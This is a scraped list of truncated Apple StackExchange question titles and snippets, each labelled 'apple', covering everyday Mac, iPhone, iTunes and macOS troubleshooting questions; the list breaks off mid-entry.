",['apple'] "Title: “Go” button on the Finder window Body: I am trying to remove the plug-in for Unsubscribe to avoid the message appearing every time I open my Mac. To do so, I am supposed to click on the ""Go"" button in the Finder window. Unfortunately, I ... ",['apple'] "Title: How can I access TextEdit documents saved in iCloud on a PC? Body: I use TextEdit to store a number of notes for me, and now my Mac is in Apple repair, I can't access them. How can I use a PC to access these notes? Is it possible to use an iPad mini to access these ... ",['apple'] "Title: Do apple developer program allow Pakistani developer to sale inApp purchases? Body: I am an independent application developer from Pakistan having a local bank account and VISA credit card. I am planning to enrol in the Apple Developer Program as an individual to sell my apps. I ... ",['apple'] "Title: Mac OS Installer Error Body: I've formatted my old laptop in order to install Lion 10.7.3 version on it. During the installation process it came up with a weird looking error message, similar to the one in the next picture: ... ",['apple'] "Title: Powerpoint changes mission control desktops every time I focus on a window Body: I'm trying to use PowerPoint on my Mac with Mountain Lion. I have a window that was originally opened in Desktop 1 and then I moved it to Desktop 4. Now, whenever I try to focus on the window in ... ",['apple'] "Title: iPhone 4S (iOS7) Screen flickering [closed] Body: I have a Sprint iPhone 4S and after a soft reboot (power + home) my screen flickers repeatedly. About 10x a second, is this a known issue? Is there an easy fix? Well it's not iOS 7 related, that ... ",['apple'] "Title: Upgrade from 10.5.8 to Mountain Lion Body: Is it possible for me with a 2007 iMac running Leopard (2.16 Ghz Intel 2 Duo and 2 GB 667 MHz DDR2 SDRAM) to upgrade to Mountain Lion? If not, is there any later version I can upgrade to? If I can ... ",['apple'] "Title: Spammed Log Message involving pam_sm_authenticate and Kerberos Body: Every minute this is logged in my system.log: Aug 19 12:20:00 server.local java[66]: in pam_sm_authenticate(): Got user: andrew Aug 19 12:20:00 server.local java[66]: in pam_sm_authenticate(): Got ... ",['apple'] "Title: Database app, accessible from Mac, iPad and Web Body: I feel very out of my depth with this query, but not being able to do it isn't really an option so I am going to have to learn how one way or another. I have been tasked with building an application ... ",['apple'] "Title: Signing onto Shoprite Wifi causes Google to lock my account Body: Shoprite is a chain of grocery stores in the Northeast. They now have a special iOS app where you can scan your own groceries as you shop. When you leave, you simply pay for what was already scanned ... ",['apple'] "Title: I am looking for a similar subtitle explorer to gom player subtitle explorer Body: I am looking for a subtitle editor/manager. I want exactly similar subtitle explorer to gom player. Indeed, the other rows are automatically updated fixed your time in a row. Can you recommend me ... ",['apple'] "Title: Can I build an OS X Image with preinstalled software? (Or, please help me move back one OS X version.) Body: My MacBook Pro with Retina Display is a year old, and I'm in the mood of a fresh install. (I've got random stuff lying around, etc.) For compatibility with some software I'd like to run, I'm moving ... ",['apple'] "Title: Can't connect to some sites over VPN Body: When I'm connected to my company's VPN, some websites won't load. For example, both imgur and tumblr will just hang trying to connect: $ curl -v http://imgur.com * About to connect() to imgur.com ... ",['apple'] "Title: iPhone field test instructions Body: ""Access the iPhone’s Field Test mode by typing 3001#12345# in the phone’s keypad and press dial. This will bring up the Field Test menu."" Doesn't work for me. ",['apple'] "Title: Change Users Home Directory Body: I have created a new user but the new user's home directory has the old users path. How can I update my new user's home directory so that the terminal opens to this directory and all software ... ",['apple'] "Title: Backup camcorder using Final Cut Pro or iMovie Body: I have a Canon Vixia HF11 HD camcorder, Synology DS213 NAS, MacBook Air, iMovie '11 and Final Cut Pro 10.0.9. I just backed up my camcorder using Final Cut Pro and ran into a couple problems: The ... ",['apple'] "Title: Is there a way to see what activity iPhoto is doing with Flickr? Body: .Is there any way to see what activity is going on in iPhoto behind the scenes? Below is what I am seeing on OS X 10.8/iPhoto 11 (the arrows are spinning.) I'm guessing iPhoto is updating Flickr or ... ",['apple'] "Title: OSX 10.7.5 renaming attached Firewire drive Body: My Mini was running out of disk space, so I attached an external Firewire drive and moved all the Home directories (a bunch of users on a home machine) to it. I'm pretty sure that was done correctly, ... ",['apple'] "Title: Syncing iPhone 4S music only Body: Will syncing iPhone delete existing photos on iPhone? I want to sync new songs but not sure if it will delete my valuable photos. ",['apple'] "Title: Having trouble restoring backup of my iPhone Body: I'd been having a few issues with my iPhone 4 (one of the main being that apps wouldn't open and turning it off and on again to remedy this resulted in me losing all of my contacts in my address ... ",['apple'] "Title: iPhone 2G won't restore properly, but continues to say there was an error after restoring. Body: My iPhone shut off and then said I need to connect to iTunes. I've done that and now it says I have to restore it. I've restored it 3 times now, every time it finishes restoring it just tells me there ... ",['apple'] "Title: Malware? .systemRootModeFile in ~/users/me/library Body: Non-techie person asks: There is a .systemRootModeFile in ~/users/me/library. Is it malware, something horrible? In the hidden library folder in ~/users/me I have a folder named .f5cd. Inside that ... ",['apple'] "Title: Long term effects of iPhone left in the sun? Body: I accidentally left my iPhone 5 a few hours in direct sun and it overheated. Obviously I put it in shade to cool down but my question is will there be any significant damage? Long term? It was really ... ",['apple'] "Title: MP4 movie does play in QuickTime but not in iTunes Body: I have one MP4 movie that plays just fine in QuickTime (I've run it from beginning to end without problem). However, when I imported it into iTunes, it can load but cannot play. Clicking on the ... ",['apple'] "Title: How can I listen to FM radio through my iPhone? Body: My mom has an iPhone 4s. I have a iPhone 4. The radio is out of the house. She wants to listen to Garrison Keillor. Can we get radio through our iPhones? ",['apple'] "Title: How can two iCloud accounts have Find My Mac activated on an iMac? Body: I bought an open box computer from best buy, and a year later someone else's iCloud account remotely locked and wiped my iMac. How could their iCloud still be attached to the computer when the hard ... ",['apple'] "Title: Is it possible to always show hidden/dotfiles in Open/Save dialogs? Body: It is possible to show so-called dotfiles/directories like .git or files/directories that have the Hidden attribute in the Finder by running defaults write com.apple.Finder AppleShowAllFiles 1 ... ",['apple'] "Title: Removing apps from 'Mobile Applications' that aren't in iTunes? Body: I'm running iTunes on Windows 7, and at some point (or rather, at multiple points) I must have accidentally pressed the 'Cancel' button when it asks if I want to remove the app from my hard drive when ... ",['apple'] "Title: Podcast RSS feed does not work on iTunes Body: I am using the iTunes application on Windows. I have recently upgraded to version 11.0.4.4. I am trying to subscribe to this podcast: http://rss.rtbf.be/media/rss/audio/c21-best_recent.xml This ... ",['apple'] "Title: Fixing Water Damaged iPhone Body: My iPhone screen started blinking white is now completely white. Can someone tell me if this is fixable? ",['apple'] "Title: Only 3 FPS on Mac mini, boot camp, windows 7 Body: Using the GPU test tool from FurMark i get only 3 FPS. In normal use I notice it when playing fullscreen videos: When the video pans horizontal i get these stripes across the picture. My setup is ... ",['apple'] "Title: Recover Deleted Exchange Account Contact from iPhone Body: So I removed an Exchange account from my iPhone not realizing that the phone had been saving new contacts there by default (instead of to my gmail account). I no longer have access to that Exchange ... ",['apple'] "Title: Will Time Machine delete old backups for other computers on the same drive? Body: I have an external 500 GB HDD that I've used for Time Machine backups for three different computers: An old PowerBook G4 A white MacBook My current retina MacBook Pro I now have less than 100 GB ... ",['apple'] "Title: How to know what percent of document that I read in Safari? Body: When using Safari to read documentation, how do I know how much do I read or much much more is left to read just like I do with editors? There seems to be no indicator in Safari for that purpose. ... ",['apple'] "Title: Remote Login via Finder: Choose user account without entering password Body: I'm using a Mac mini as an HTPC with two user accounts: one standard account and one admin account to manage the Mac. I'd like to have screensharing access to both, so I enabled it (and also File ... ",['apple'] "Title: Unable to install software using brew install Body: I am unable to install software using brew install. I have tried brew cleanup & brew update, and deleting the file, but it just does not work! This is the error message: ==> Downloading ... ",['apple'] "Title: How can exclude a whole site from Safari Top sites (and not just an URL)? Body: In this other question, I've asked how to remove a domain from being added to the Safari Top Sites. Unfortunately it seems that the answer may not be that easy as I though. I've just discovered that ... ",['apple'] "Title: What is the best alternative to iTunes 11 on OS X? [duplicate] Body: There are some old questions surrounding this topic, but the landscape has changed a bit in the last couple of years. I'm looking for some fresh answers. Why I'm looking Over the years iTunes has ... ",['apple'] "Title: Mac OS X Terminal: -bash: $: command not found Body: While trying to install pagekite on OS X Snow Leopard using the following command: $ pagekite.py --signup I got: -bash: $: command not found I am a noob with the terminal but after reading a bit ... ",['apple'] "Title: Options for getting into passcode-locked iPad 2 / iOS 5.1.1 (JB'd)? Body: I have an iPad 2 running iOS 5.1.1 and it is jailbroken (though as far as I know, not running SSH). A few hours ago I set a new 4-digit device passcode which I subsequently forgot. I've tried a few ... ",['apple'] "Title: replace i5 with i7 cpu in mid2012 MBP Body: is it possible to change my i5 iwy bridge CPU with an i7 one in my mid 2012 mbp? My mbp is a non retina model. ",['apple'] "Title: How Do I Lock My Google Drive App (or files) on iPad? Body: How to lock my Google Drive app (or just one file on it) on my iPad so no one can view it if they find my iPad? ",['apple'] "Title: How to reduce MacBook Air 2013 1.7GHz CPU power consumption? Body: I'm seeking a way to reduce MacBook Air 2013 1.7GHz CPU power consumption -- or any MacBook for that matter -- to save battery life. I want to vary the CPU power consumption variably, so that I can ... ",['apple'] "Title: Bluetooth Low Energy (BLE) Throughput Body: I am developing an application that requires a throughput of 16 kbit/s between the peripheral (a Mutata module) and central (an iPad) using a BLE notification channel. The characteristic sent by the ... ",['apple'] "Title: Is Apple ID related with developer ID Body: before when I used to write some code on iOS, I think I had a developer account (which I also have now I think), however under some company. It was Company/Organization type. I am no longer with that ... ",['apple'] "Title: Why is the photo quality terrible in Automator? Body: I am trying to use Automator as a Photo Booth but when I use the video snapshot command the photo quality is terrible. The built in camera is fine in other apps such as Skype or Photo Booth? I can't ... ",['apple'] "Title: How can I send a multi part mime email from my mac Body: How can I send a multi part mime email from my mac for the purposes of sending a html email together with a plain text version. The emails I send will be going out to a single recipient each time. ",['apple'] "Title: Get all frames from .mov video Body: Which program can I use to get all frames from .mov video file. I need this frames in png or jpg. I don't need just one frame I want to export all frames from my video in the same resolution. ",['apple'] "Title: How to prevent from changing volume when using 2 to 1 RCA connector Body: I prepared scheme: (Amplifier I use is Pioneer A-307R http://www.pioneer.eu/eur/products/archive/A-307R/page.html TV Samsung UE40D6750 ... ",['apple'] "Title: Will VOX music playet change anything in my iTunes library? Body: I've downloaded the free VOX music player from the Mac App Store after reading a recomendation in some site. The program asks me for permission to acces my iTunes Library but a splash screen hints of ... ",['apple'] "Title: Use Quicklook to see the Content of .JSON files? Body: Currently, I can use the space bar to preview a number of files such as .txt, .css, .html etc in Quick Look. I cannot, however, see the actual contents of a .json file. Is there any possible way to ... ",['apple'] "Title: What build flags are available for brew install of gcc? Body: I'm curious as to what build flags are available to me when installing gcc 4.8 using brew. This question explains how to install gcc 4.8 using brew, but only specifies two possible flags i.e ... ",['apple'] "Title: Software recommendation for FAST entry of equations Body: I'm looking for a package that does for algebra what word processing software did for writing: When I learned to type, my writing improved greatly because my fingers were closer to keeping up with my ... ",['apple'] "Title: Disable HDMI sound output when using optical (TOSLINK) output on AppleTV Body: I have Apple TV and have both HDMI and TOSLINK (optical) port connected. But the problem is that when i turn on the video via Apple TV I have double sound from the sound - from the TV set connected ... ",['apple'] "Title: Why does my iPhone suddenly have 6GB of “Other” [duplicate] Body: I was getting ready to update my iPhone to the latest version of iOS7 beta except that for some strange reason I don't have room on the iPhone. I have 6.26GB of ""Other"" hogging the space. I'm not ... ",['apple'] "Title: Install Failed on Macbook Pro Body: When I want to install the Max Os X on my Macbook Pro, this error occurred. Note: I think my Mac Disk is not empty. Note: My Boot disk is in Windows Disk, But my Windows disk is empty, then this ... ",['apple'] "Title: How can I make it so that customers can download my app on their ios device without using the app store? Body: I have already made a native iOS app and I was wondering if the consumers could just download the app onto their phone without jailbreaking or installing anything. I could maybe use a third party app ... ",['apple'] "Title: Progress Indicator for AppleScript Body: Okay, so I have an AppleScript that is really just a wrapper for a simple shell script, so I could turn it into a double-click to run application, droplet and URI handler on OS X. Anyway, this works ... ",['apple'] "Title: iPhone A1439 was downloading into iBooks & now appears locked Body: I was downloading a newly purchased book to iBooks, while plugged into power outlet & now screen is stuck in the bookshelves of iBook and I cannot turn it off, power it down or receive calls. ... ",['apple'] "Title: VirtualBox Ubuntu shared folder is empty Body: I have a Ubuntu virtual machine (Virtual Box) hosted on my MBP w/ Mountain Lion. OSX 10.8.6, VirtualBox 4.2.16, Ubuntu 12.4 LTS (32 bit) PROBLEM The shared folder(s) as seen in Ubuntu is/are empty. ... ",['apple'] "Title: Trying to find the /etc/resolve Body: I'm trying to connect a Macbook Air running 10.8.4 to a Windows 2008 R2 server. I have run into trouble as we use a company.local. I think this may be the problem: ... ",['apple'] "Title: Possible to connect 3 2560x1440 monitors to macBook retina? Body: I've connected 2 Dell 27"" monitors to my retina using the thunderbolt/minidp to dp ports to get their full resolution. A touch of greed and the need for symmetry has kicked in and I'm desperate to ... ",['apple'] "Title: How do I cat a deleted file which is still open by its inode? Body: I have deleted a file I still have open. I want to save that file. I know its inode number. I think that sleuthtools icat would work for me except for the following. $ sudo icat -f hfs /dev/disk0s2 ... ",['apple'] "Title: Help me reset the terminal after sudo command mistake Body: I recently installed a cracked version of a program and it instructed me to block outgoing connections by following the instructions below. Step 1 Click the ""Go"" menu, select ""Utilities,"" and then ... ",['apple'] "Title: Will I miss something if I uninstall Growl off Mountain Lion? Body: I updated to Mountain Lion more than a year ago. Even before that, Growl has been annoying me with a pop-up asking me to update. The new version is costs 4 USD in the App Store. Since ML has ... ",['apple'] "Title: Macbook Pro 2011 Snow Leopard Boot Camp with Parallels Desktop 8 Body: Quick question in response to a very thorough bootcamp post already on this forum. For anybody that has a working Mac, Windows and Shared partition ... is the Boot Camp partition recognised by ... ",['apple'] "Title: Email contacts in iPhone contacts Body: When logging into hotmail on the mail app, do all contacts save into the contact list on the iPhone? Or only certain ones? If so how? ",['apple'] "Title: Can't access specific websites with Macbook Air (10.7.5 Lion) Body: This has really baffled me: While my internet connection works, I can't access specific websites with Safari (or any other browser for that matter). I don't get a 404 page; Just an error message that ... ",['apple'] "Title: Can't do in-app purchase in my new iPad Mini Body: I just switched my old iPad to iPad Mini. When I'm on my old iPad, in-app purchases work fine, as well as with my iPhone 5 (they all use the same Apple ID). How to make in-app purchases work on the ... ",['apple'] "Title: Can a MBP 15'' early 2011 run DDR3L ram? Body: I have an early-2011 MBP 15' with an Intel I7 2,2 GHZ core. I'm thinking in upping the RAM to 16GB with 2x8 DDR3L sticks. I've read that using DDR3L with this core is not recommended, is this ... ",['apple'] "Title: Default java 7 installation directory on Mountain Lion Body: Can someone tell me what is the default Java 7 installation directory on Mountain Lion? I tried to find it by /usr/libexec/java_home -v 1.7 which gave me the output Unable to find any JVMs matching ... ",['apple'] "Title: Do uploaded-photos on an iPhone have a local URL? Body: (iPhone 3GS, IOS 6.1.3). I've uploaded a photo -say, ""dog.jpg""- to the iPhone from an iMac. On the iPhone, I can view it using the built-in PhotoApp [I don't know its official name]. On the iPhone: ... ",['apple'] "Title: Disabling Photo Stream with Shared Apple ID Body: My kid's devices are tied to my Apple ID, and that's working wonderfully. The problem is that anytime I take a photo on my iphone, it automatically appears on their ipads. How do I disable that? ",['apple'] "Title: External Hard Drive freezes computer Body: My friend just called me up and said he purchased a new Seagate 3 TB External harddrive for his Mac Book Pro. And ever since he connected the harddrive, his computer was not able to run. After ... ",['apple'] "Title: In Mountain Lion, where is the exclude list for Time Machine stored? [duplicate] Body: I want to know if the list of Time Machine excluded files (pictured below) can be found in a file somewhere. I know about the question On Lion, what files are excluded by rule from a Time Machine ... ",['apple'] "Title: I cant see one of my videos on PC when trying to download pics and videos from Photos Body: I connected iPad to my laptop (Windows), opened the only file with data that was available and tried to download pics and videos to my computer, however 1 video is missing in the transfer list. ... ",['apple'] "Title: Eclipse quit unexpectedly Body: I have a iMac 27 inch which I bought months ago. Whenever I try to open eclipse on the iMac it comes with a message that says: Eclipse quit unexpectedly. Click Reopen to open the application ... ",['apple'] "Title: Where should I store command line applications? Body: When I download command line applications they are located in my ~/Downloads/ directory. But I feel this is wrong place to have a command line application located. Where in the Mac OS X filesystem ... ",['apple'] "Title: Open contact group on Mac Body: I just want to use AppleScript to open an existing group in Mac Address Book (v7.1). tell application ""Contacts"" set selected of group ""friend"" to true activate end tell above is the sample ... ",['apple'] "Title: What are these weird permissions? ==> d????????? ? ? ?? Body: Since my Mac crashed and does not boot OS X at the moment, I am trying to recover some data from my user folder in OS X from within of Ubuntu. Usually I have no problem accessing the files. But not ... ",['apple'] "Title: Why do all of the .dmg files I download end up on my desktop? Body: When I download a .dmg file it somehow ends up on my desktop automatically. Even after I install the .dmg, it is still on my desktop. How do I stop these from appearing on my desktop? Should they be ... ",['apple'] "Title: “Laptop Notebook Memory for Apple Mac Mini”? Does this sound right? Body: I am shopping for memory for a MacBook Pro (mid-2009) and I found this. Supposedly, it is ""Laptop Notebook Memory for Apple Mac Mini"". Can such memory be used in a Mac Mini? Can it be used in the MBP ... ",['apple'] "Title: Alias to ssh and cd into a specific directory Body: I want an alias to SSH into another machine and then CD into a specific directory. I try: alias appl=""ssh 9@lon.orb.com; cd /opt/tomcat/instances/"" It does not work. Any ideas? ",['apple'] "Title: Why our game never appeared in the new section of the appstore? Body: We released a game 4 days ago (Thursday), Junction Action Arcade, its categories are action and arcade, and I've been looking in the appstore in the section ""Games -> Action -> New"", in tha USA store, ... ",['apple'] "Title: Get computer name from IP-address Body: I have the IP address of a computer on my network but is there a way that with the IP address I can find the name of computer? For example, if I know the IP address is 192.154.23.600, can I use this ... ",['apple'] "Title: Is it possible to regain access to an iPhone with a forgotten passcode? [duplicate] Body: My daughter set a passcode on her iPhone 3G months ago, and hasn't used it since. She doesn't remember the passcode. I restored from the only backup that we can find (which she says was from before ... ",['apple'] "Title: iTunes Match Alternative … or some way of implementing this Body: We’ve been using iTunes Match pretty much since the beginning, but recently my wife has turned it off and refused to re-subscribe. I’m fast getting to the same place. It just seems so unstable, ... ",['apple'] "Title: Apple's target disk mode recognizes my bootcamp (windows) but not my Mac HD? Body: Needless to say, my Mac HD is corrupt and Im looking at erasing and installing Mac OS from scratch. I have been able to copy a bunch of files from my MAc HD using MAcDrive on my windows partition. ... ",['apple'] "Title: Change audio output of Logic Pro 9 Body: I have two Apple Cinema displays connected to my Mac Pro, System preferences sees both displays for audio output, however Logic is only sending audio out of my secondary display, not my main one, and ... ",['apple'] "Title: Recycle Bin isn't working: all the files are deleted immediately and completely Body: Well, I don't know what happening on my MTL 10.8.4, but yesterday file deleting became very strange. When I press cmd+backspace dialog window with two variants is shown: Delete and Cancel. So the ... ",['apple'] "Title: Why do I need to activate my iPhone? Body: This is something I don't particularly understand. I get that for Windows, activation exists to prevent software piracy, but you don't have to pay for iOS. Perhaps activation exists to prevent Android ... ",['apple'] "Title: Black Macbook running 10.5.8 reporting Connection Timeout to Wifi network Body: We recently bought my grandfather a refurbished Macbook. It is running the most up-to-date version of leopard -- Mac OS X 10.5.8. His computer does not connect to his wifi network, which is run via a ... ",['apple'] "Title: Home Sharing not working with iPhone 5 iOS 6 Body: Home sharing is not working on my iPhone : I can't see any 'shared' option in both music and videos app while I have activated Home sharing with the same ID on both my Mac and my iPhone. I have a ... ",['apple'] "Title: Mouse Wheel Emulation on Mac Body: I've recently moved into an office that has standardized on Apple computers and have run into something that I have used with Linux that I know is going to drive me nuts on the Mac. I use a Logitech ... ",['apple'] "Title: How to upgrade hard drive in Mac Mini Body: I recently bought a new mac mini (my first mac ever yay) with a 1TB hard drive at 5,400 rpm. the guy at microcenter also sold me a 1TB hard drive at 7,200 rpm and said it shouldn't be to hard to ... ",['apple'] "Title: Reverse Hiding Flagged Mailbox Body: Is there a similar executable file that would reverse hiding the flagged mailbox? Just in case I would want to toggle back and forth? ",['apple'] "Title: SSH remote using XQuartz dosent work in Lion Body: I was using previous version of Mac and used to connected to a server with SSH console.It used to run X 11 after loading my requested programs(Mathematica) on remote server and was working ... ",['apple'] "Title: In Disk Utility, what advantages do “read/write disk image”s have over “sparse bundle disk image”s? Body: If I want a read/write disk image, then aren't sparse bundle disk images always the way to go? They start at 0 kb in size, and grow to accommodate whatever you add to them, and if you delete stuff, ... ",['apple'] "Title: VPN does not connect on public wifi in train Body: I have problems connecting to a VPN when I use the public wifi that is available in some Dutch trains. When I press Connect VPN from the drop down menu in the menu bar, I get a password prompt (as ... ",['apple'] "Title: photostream with no iphone Body: I no longer have my iPhone, but I wanted to know if there was anyway I could access the pictures that I uploaded to Photostream before I got rid of the phone. Or are they all completely lost? ",['apple'] "Title: Change the Screen Saver “Start After” options in Mountain Lion Body: In Mountain Lion, I'd like to remove some options in the screen saver timing. I'd like to remove the ""Never"" option and some of the longer options for all accounts on the system. Essentially I'd like ... ",['apple'] "Title: PPP tunnel on a local computer on linux using socat Body: I am trying to create test setup to verify PPP packet flow though a custom PPP server. To do so, I want to create a PPP tunnel on a local computer using virtual serial ports using socat. ... ",['apple'] "Title: How do I set the static library path in OS X lion? Body: Instead of typing : g++ functions.cpp /opt/local/lib/libhdf5.a /opt/local/lib/libsiloh5.a /opt/local/lib/libz.a I would prefer to type: g++ functions.cpp -lhdf5 -lsiloh5 -lz I think that I ... ",['apple'] "Title: MySQL (Percona) and homebrew: Body: I'm trying to run MySQL server (Percona) by launchctl load -w ~/Library/LaunchAgents/homebrew.mxcl.percona-server.plist and I see the following message in /var/log/system.log: Aug 9 01:36:14 xxx ... ",['apple'] "Title: How to set X-Forwarded-Server to reflect virtual host name (10.8.4 Server) Body: On my server (which runs 10.8.4 Server), the fqdn is a.example.com, but the same IP number is also configured for b.example.com, c.example.com, and d.example.com. A user going to http://a.example.com ... ",['apple'] "Title: Changing read permissions on /private/etc recursively Body: I was trying to make my /private/etc folder and all its contents world-readable. 'Permission denied' messages from a number of internal files and folders were a recurrent theme whenever I did a find ... ",['apple'] "Title: How do I match a disk UUID with a software RAID member? Body: I have one member of a stripe which is starting to fail, but hasn't yet thrown any errors that SMART can pick up on. Currently I'm getting errors like this: Aug 8 11:34:22 myhost kernel[0]: ... ",['apple'] "Title: Can I Connect to a Local SMB Share? Body: When attempting to connect to smb://localhost/share, I receive an error that I ought to access the files locally. This is not always desirable. For example, this means I can not use my portable home ... ",['apple'] "Title: Do I have to restore my Mac if I've forgotten the admin password? Body: I've got an external hard drive which I've hooked up to time machine, I have multiple Mac's but the one in question I am unable to remember the administrator password, which is a pain when trying to ... ",['apple'] "Title: Slow network copy between iMac and MacBook Air Body: I am getting a maximum lousy 1,5 MB copy speed between two Macs on my local network. My hardware is: iMac6,1 (2006) AirPort Express A1264 (2008) MacBook Air3,2 (2010) The AirPort and the MacBook ... ",['apple'] "Title: I can't see usb-drives and archives in the sidebar of the finder anymore Body: When I plugin a usb-drive or open dmg-archives they don't appear under the 'Devices' section in the sidebar of the Finder anymore. The drives are there when I check with 'Disk Utility', they appear ... ",['apple'] "Title: Move passwords from Dashlane to Keychain Body: I'd like to import the passwords stored in Dashlane into the Mac OS X Keychain. Can you help me to do it? Thanks. I understand that Keychain app is AppleScript-able, and that Dashlane exports ... ",['apple'] "Title: Is there a hidden preference to get Mission Control to show application icons when grouping is turned off? Body: When I turn on grouping in Mission Control to I get the application icon overlaid on the windows that belong to the application. Is there a hidden option to show icons on ungrouped windows? ",['apple'] "Title: Itunes: Edit RSS Podcast URL Body: I added a RSS feed to my favorite paying podcast. Recently I changed the password. Everytime I update the podcast it asks for user and pass. No mater how many times I enter it and select ""Remember ... ",['apple'] "Title: iTunes Match hangs at step 2 and does not complete Body: I have been trying to get iTunes Match to work for a week. It keeps getting stuck at Step 2. To try and fix it I have been stopping and starting Match, sometimes it gets further and other times it ... ",['apple'] "Title: Undelivered SMS is read in an automated voice Body: A work colleague sent me an SMS that I didn't get. Instead an automated voice keeps calling my number and starts reading this message out to me when I answer. Is this a feature of the iPhone, and if ... ",['apple'] "Title: iPhoto - Removing image files that weren't taken by a camera Body: I recently attempted to import my archive of 20000 photos into iPhoto - unfortunately I found out that some of the imported images were not photos but things I downloaded from the internet. I would ... ",['apple'] "Title: Using Redsocks on Mountain Lion Body: I'm trying to use redsocks on Mountain Lion for system wide SOCKS proxy. How can I configure the iptables on OSX to redirect tcp traffic to redsocks. The redsocks documentation mentions the following ... ",['apple'] "Title: iBook clamshell internet problems Body: I recently bought an iBook clamshell running 9.2. I'm having trouble connecting to the internet. It will find the router, but when i try to log on it fails. No luck with cat5 connection either. Any ... ",['apple'] "Title: how to config color when i use iterm2 ssh linux server Body: I use Mac and use iterm2 ssh login linux Server . but when exec ls the terminal is Black and White how to config then like mac colors ",['apple'] "Title: How can I delete the Time Machine backup files on a Netgear ReadyNAS? Body: I use a Netgear ReadyNAS as a Time Machine server. I recently bought a new Mac, and I want to delete the old backups. How do I delete them? It's not possible from the Time Machine interface. ",['apple'] "Title: install Linux on a G4: “Select and install software” “Installation step failed.” Body: I try to install lubuntu 13.04 for ""Mac (PowerPC) and IBM-PPC (POWER5) alternate install image"" on a PowerMac G4 and at first it seems to work. But while it's trying to install, I get the ... ",['apple'] "Title: How to find lost iPod with no WiFi Body: I've lost my iPod touch and I really need it. I used iCloud but it said that it has no Wi-Fi. How can I find it now? ",['apple'] "Title: Set OS X Server for remote-only administration Body: I have a Mac Mini with OS X Server in another room with nothing attached but the network cable. I manage it remotely using Apple's Server and Remote Desktop. Is it possible to disable ""locally"" using ... ",['apple'] "Title: Endlessly repeating “There was a problem connecting…” error Body: I'm getting constantly interrupted by the same error, ""There was a problem connecting to the server ""admin's MacBook"". The server may not exist or it is unavailable at this time. Check the server ... ",['apple'] "Title: iPhone 3g won't enter DFU mode Body: I have an iPhone 3g running iOS 4.2.1 with no SIM card. I'm attempting to jailbreak it so I can use it, but it will not enter DFU mode, even though I have tried repeatedly. I am attempting to use ... ",['apple'] "Title: C++ how to accept a given file as an argument [closed] Body: I have written a small C++ program which will utilise the filepaths of files given as arguments. The program runs perfectly when I run it from within terminal with a file path as an argument, for ... ",['apple'] "Title: install linux on imac G5 Body: Is there a Linux distribution, that runs on an old iMac G5 with a powerPC processor? I would like to use the old iMac as computer for my mother, she would only need an up-to-date browser running, ... ",['apple'] "Title: Lost magnification under Mountain Lion Body: I am missing one nice feature after moving to Mountain Lion. I was able on Lion to press control and drag with two fingers to magnify an area of the screen, which is particularly helpful when working ... ",['apple'] "Title: IMAP config for Mail.app OSX - not showing folders properly Body: I've configured my mail.app IMAP settings on OSX (Mountaion Lion 10.8.4) and it doesn't show account folder properly (it's empty). However, in Mailboxes section account is shown correctly, but all ... ",['apple'] "Title: Mail Process 140% in Activity Monitor/1 IMAP Account/Random Problem Body: A friend of mine is having some problems with his Mail Account. As stated in the title, the Mail process uses 140% of the CPU, as shown in Activity Monitor. It's a random error, it doesn't happen all ... ",['apple'] "Title: Is there an application to emulate I'm in a different location? Body: I'm trying to test an iPhone application and I need to simulate I'm in a different location. I was wondering if there is an application out there in the market that let's me write some longitude and ... ",['apple'] "Title: Time Machine backup of legacy filevault encrypted homedir? Body: I have recently upgraded from Snow Leopard to Mountain Lion. Given that I don't have a lot of space left on disk, it was not feasible to migrate from Filevault to Filevault 2. I have just noticed ... ",['apple'] "Title: Can a Mac's model year be determined via Terminal Command Body: Does anybody know a terminal command that gives me the the model of my Mac? For example - ""MacBook Pro, Retina, 13-inch, Mid 2013"" or ""MacBook Pro, Late 2009"" or ""Mac Mini, Early 2010"". That ... ",['apple'] "Title: Set size of window to exact pixels, and place via x, y coordinates Body: I would like to create a tool that allows you to set windows to exact sizes on the pixel scale to be able to have more precise screen divisions. For example, if I had four Terminal windows (and I ... ",['apple'] "Title: Mac OS X cannot find the hard drive (anywhere) Body: I suspect this is a dead hard drive issue: blinking question mark folder at startup resetting PRAM has no effect single user mode not available with Cmd-S When I get to Internet Recovery mode, the ... ",['apple'] "Title: Is there a way to control the clock speed of the GT 650M GPU in a Retina Macbook Pro from OS X? Body: This is not about gaming performance. I've got that all sorted when booting into Windows. This is a 2012 version rMBP. The question is about trying to gain a little more control over the hardware ... ",['apple'] "Title: Summary of Apple Specfic terminal commands Body: Where can i find such a good list? I tried googling, but they just cover the linux basics (cd, ls, rm, sed, etc.). What are the Apple specific tools for changing settings, volumes, bundles, plists ... ",['apple'] "Title: configure multiple networks with static and dhcp ip addresses Body: At work I'd like to be able to use a static ip over wifi for development purposes. At home however, since I'm on a different network I don't want to use a static ip, but dhcp. On OSX 10.8, how can I ... ",['apple'] "Title: VPN Connection (iPad/iPhone/MBP -> iMac) failing on some devices Body: I have a VPN server (an iMac) using Mac OS X Server (10.8.3). I have three devices: 15"" Retina MacBook Pro, Mac OS 10.8.4 3rd-gen iPad, iOS 6.1.3 iPhone 4S, iOS 7 b4 All three are configured to ... ",['apple'] "Title: Apps on my MacBook Pro Body: How do I find my apps on my MacBook Pro? I downloaded them, and I tried looking in my launcher and my deck, but do not see them ",['apple'] "Title: 6000RPM all the time with no activity - restart helped Body: I'm on Mountain Lion and for two days my fan RPM was 6000 and the temperature was 92C. I decided to restart and now it's 3300 RPM at 68C. How come? Is this some kind of bug? I remember having ... ",['apple'] "Title: Wireless Keyboard not working with Mac Mini Body: I have the Apple Wireless Keyboard and a very recent Mac Mini. The keyboard exhibits very strange behaviour: meta keys / shortcuts such as CMD+TAB work, but none of the main letters do. Caps lock ... ",['apple'] "Title: iTunes and iPod Touch “Payment was declined” Body: I recently bought a new iPod Touch 5 and made 3 purchases. The last app I purchased downloaded successfully onto my iPod but I never got an email receipt from the store. So I checked my purchase ... ",['apple'] "Title: What is postgres and why is it running on my system? Body: Upon every login to my computer, I notice in Activity Monitor I have several instances of a process called ""postgres"" running, under the user ""postgres"". What is this, and why does it launch every ... ",['apple'] "Title: Directly switching (without pressing OPTION) between AIFF and mp3 iTunes libraries Body: I have two iTunes libraries, one for pop music in compressed and lossy formats and another for classical music (and sometimes for jazz) in AIFF. I maintain two libraries because I'm concerned about ... ",['apple'] "Title: Mount folder as a volume (OSX) Body: Is it possible to (auto) 'mount' folders as Volumes? I have a large DAS Volume, 'Data', that contains all my data. To make paths shorter and more future proof, I'd like to have Volumes like ... ",['apple'] "Title: storing video to atv 1 hard drive Body: Have just bought an apple tv gen 1 with xbmc which is great but can not find a way to store movies to the internal 